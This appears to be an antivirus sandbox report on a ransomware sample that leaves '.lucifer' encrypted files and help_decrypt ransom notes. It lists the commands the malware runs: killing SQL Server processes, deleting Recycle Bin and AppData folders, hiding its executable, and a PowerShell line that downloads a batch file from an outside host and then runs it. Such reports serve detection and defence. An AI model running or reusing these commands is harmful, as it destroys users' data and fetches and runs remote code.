Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\help_decrypt_your_files.txt
- <Drive name for removable media>:\help_decrypt_your_files.html
- <Drive name for removable media>:\1189.jpeg.id-vurbhyvcki.lucifer
- <Drive name for removable media>:\1189.jpg.id-vurbhyvcki.lucifer
- <Drive name for removable media>:\168.jpeg.id-vurbhyvcki.lucifer
- <Drive name for removable media>:\168.jpg.id-vurbhyvcki.lucifer
- <Drive name for removable media>:\1sm_price.xls.id-vurbhyvcki.lucifer
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM sqlservr.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM sqlceip.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM sqlwriter.exe /T
- '<SYSTEM32>\net.exe' stop MSSQL$SQLEXPRESS
Downloads
- http://e-####ice.iag.bg/app_themes/efa/clear.txt as c:\users\public\music\clear.bat
Modifies file system
Creates the following files
- nul
- D:\help_decrypt_your_files.txt
- C:\help_decrypt_your_files.txt
- D:\help_decrypt_your_files.html
- C:\help_decrypt_your_files.html
- C:\users\default\desktop\help_decrypt_your_files.txt
- C:\users\public\desktop\help_decrypt_your_files.txt
- %HOMEPATH%\desktop\help_decrypt_your_files.txt
- C:\users\default\desktop\help_decrypt_your_files.html
- C:\users\public\desktop\help_decrypt_your_files.html
- %HOMEPATH%\desktop\help_decrypt_your_files.html
- %APPDATA%\microsoft\windows\network shortcuts\help_decrypt_your_files.txt
- %APPDATA%\microsoft\windows\network shortcuts\help_decrypt_your_files.html
Network activity
TCP
HTTP GET requests
- http://e-####ice.iag.bg/App_Themes/Efa/clear.txt
UDP
- DNS ASK e-####ice.iag.bg
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /C "label F: Encrypted"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\$Recycle.Bin /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir D:\$Recycle.Bin /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir <Drive name for removable media>:\$Recycle.Bin /s /q"
- '<SYSTEM32>\net1.exe' stop MSSQL$SQLEXPRESS
- '<SYSTEM32>\cmd.exe' /C "net stop MSSQL$SQLEXPRESS"
- '<SYSTEM32>\attrib.exe' +h +s Crypto.exe
- '<SYSTEM32>\cmd.exe' /C "attrib +h +s Crypto.exe"
- '<SYSTEM32>\cmd.exe' /C "rmdir %HOMEPATH%\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\Users\Public\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "%WINDIR%\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-####ice.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\Users\Default\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlceip.exe /T"
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlservr.exe /T"
- '<SYSTEM32>\reg.exe' add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d <SYSTEM32>\SHELL32.dll,271 /f
- '<SYSTEM32>\cmd.exe' /C "reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d <SYSTEM32>\SHELL32.dll,271 /f"
- '<SYSTEM32>\label.exe' C: Encrypted
- '<SYSTEM32>\cmd.exe' /C "label C: Encrypted"
- '<SYSTEM32>\label.exe' D: Encrypted
- '<SYSTEM32>\cmd.exe' /C "label D: Encrypted"
- '<SYSTEM32>\label.exe' F: Encrypted
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlwriter.exe /T"
- '<SYSTEM32>\cmd.exe' /C C:\Users\Public\Music\clear.bat
